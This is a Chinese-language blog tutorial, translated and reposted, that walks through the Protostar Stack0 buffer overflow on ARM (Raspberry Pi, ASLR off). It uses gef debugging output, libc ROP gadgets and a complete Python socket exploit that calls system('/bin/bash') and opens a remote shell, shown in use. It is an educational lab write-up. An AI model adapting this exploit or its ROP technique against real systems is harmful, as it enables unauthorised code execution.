前段时间,我将 Exploit Exercises Protostar 系列堆栈练习全部都给编译了一遍,并将这些东西保存在 Github 上。
由于我对该架构十分熟悉,所以更喜欢在ARM上完成 Exploit 练习。当我再一次完成Protostar所有练习时,我意识到可能可以将这些挑战一个一个进行分解,接下来我们就来看看 Stack0
我是在树莓派上进行练习,如果你没有一个能够使用的设备,你也可以设置一个 QEMU 环境跟着文章进度一起玩耍。在这个练习中我已经将 ASLR (地址空间配置随机加载)给禁用了
我使用 gef 进行调试工作,这款工具对ARM架构的支持非常优秀。使用 socat 运行二进制文件,所以我们可以进行远程测试。
pi@raspberrypi:~/exploit-exercises-arm/protostar/stack0 $ socat tcp-l:6666,reuseaddr,fork exec:"./stack0"
在GDB中加载二进制文件之后,我们可以使用gef命令在程序的入口点设置一个断点。
gef> entry-break [+] Breaking at '{<text variable, no debug info>} 0x1044c <main>' Temporary breakpoint 1 at 0x1044c [+] Starting execution
我们可以非常轻松的观察到即将在gets()函数发生的堆栈溢出:
0x00010468 <+28>: sub r3, r11, #72 ; 0x48 0x0001046c <+32>: mov r0, r3 0x00010470 <+36>: bl 0x102e8
如果我们向gets()函数发送76个字节数据,这会导致一个分段错误。
gef> c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You have changed the 'modified' variables!
Program received signal SIGSEGV, Segmentation fault.
如果我们检查程序的寄存器,会发现似乎我们已经将返回地址给覆盖掉了,现在控制的是pc:
gef> info registers r0 0x0 0 r1 0x0 0 r2 0x1 1 r3 0x0 0 r4 0x0 0 r5 0x0 0 r6 0x10324 66340 r7 0x0 0 r8 0x0 0 r9 0x0 0 r10 0x76fff000 1996484608 r11 0x41414141 1094795585 r12 0x2b 43 sp 0x7efff5b0 0x7efff5b0 lr 0x76ed1008 1995247624 pc 0x41414140 0x41414140 cpsr 0x60000030 1610612784
由于这不是一个可执行堆栈,我们需要使用ROP来实现代码执行。在主二进制本身几乎没有任何可以用的gadgets,我们不得不将目光转向libc。为了调用system()函数,我们需要新建一个ROP链。使用 ROPgadget ,我找到了以下gadgets来创建我们的ROP链。
在ARM架构下,参数通过寄存器传递给函数。例如r0会将保留的第一个参数传递给一个给定的函数调用。在我们的这个例子中就是 system() 函数。
gadget会分别中r0,r4,pc中取出数据。为了继续控制程序执行流程,之后会将gadget放入pc。
0x0007a12c : pop {r0, r4, pc}
第二个gadget仅仅是为了控制Link Register,这会包含system()函数的地址,并且bx lr指令也会调用函数本身。
0x0005cbc8 : pop {r4, r5, r6, r7, lr} ; add sp, sp, #0x10 ; bx lr
由于已经禁用了ASLR,我们可以抓取libc的基地址并计算出每个gadget的偏移地址。
gef> vmmap Start End Offset Perm Path 0x00010000 0x00011000 0x00000000 r-x /home/pi/exploit-exercises-arm/protostar/stack0/stack0 0x00020000 0x00021000 0x00000000 rw- /home/pi/exploit-exercises-arm/protostar/stack0/stack0 0x76e66000 0x76f91000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.19.so 0x76f91000 0x76fa1000 0x0012b000 --- /lib/arm-linux-gnueabihf/libc-2.19.so 0x76fa1000 0x76fa3000 0x0012b000 r-- /lib/arm-linux-gnueabihf/libc-2.19.so 0x76fa3000 0x76fa4000 0x0012d000 rw- /lib/arm-linux-gnueabihf/libc-2.19.so 0x76fa4000 0x76fa7000 0x00000000 rw- 0x76fba000 0x76fbf000 0x00000000 r-x /usr/lib/arm-linux-gnueabihf/libarmmem.so 0x76fbf000 0x76fce000 0x00005000 --- /usr/lib/arm-linux-gnueabihf/libarmmem.so 0x76fce000 0x76fcf000 0x00004000 rw- /usr/lib/arm-linux-gnueabihf/libarmmem.so 0x76fcf000 0x76fef000 0x00000000 r-x /lib/arm-linux-gnueabihf/ld-2.19.so 0x76ff5000 0x76ffb000 0x00000000 rw- 0x76ffb000 0x76ffc000 0x00000000 r-x [sigpage] 0x76ffc000 0x76ffd000 0x00000000 r-- [vvar] 0x76ffd000 0x76ffe000 0x00000000 r-x [vdso] 0x76ffe000 0x76fff000 0x0001f000 r-- /lib/arm-linux-gnueabihf/ld-2.19.so 0x76fff000 0x77000000 0x00020000 rw- /lib/arm-linux-gnueabihf/ld-2.19.so 0x7efdf000 0x7f000000 0x00000000 rwx [stack] 0xffff0000 0xffff1000 0x00000000 r-x [vectors]
最后,如果我们继续往下看,或许可以获得字符串SHELL=/bin/bash的地址。我们可以索引到这个地址并获取/bin/bash,对于我们来说这将作为system()函数的一个参数。
以下为exploit
import socket import sys import struct import telnetlib def exploit(): try: # Connect to target s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('10.174.90.177', 6666)) print("[*] Connecting to target (!)") # Build payload payload = 'A' * 72 payload += struct.pack("<I", 0x76EE012C) payload += struct.pack("<I", 0x7efff7f3) payload += 'BBBB' payload += struct.pack("<I", 0x76EC2BC8) payload += 'CCCC' payload += 'DDDD' payload += 'EEEE' payload += 'FFFF' payload += struct.pack("<I", 0x76e9ffac) print("[*] Sending Payload (!)") # Send payload s.sendall(payload) # Interact with the shell t = telnetlib.Telnet() t.sock = s t.interact() except socket.errno: raise if __name__ == '__main__': try: exploit() except KeyboardInterrupt: sys.exit(0)
我们来运行试试!
[*] Connecting to target (!) [*] Sending Payload (!) id uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
*原文链接: rotlogix ,鸢尾编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)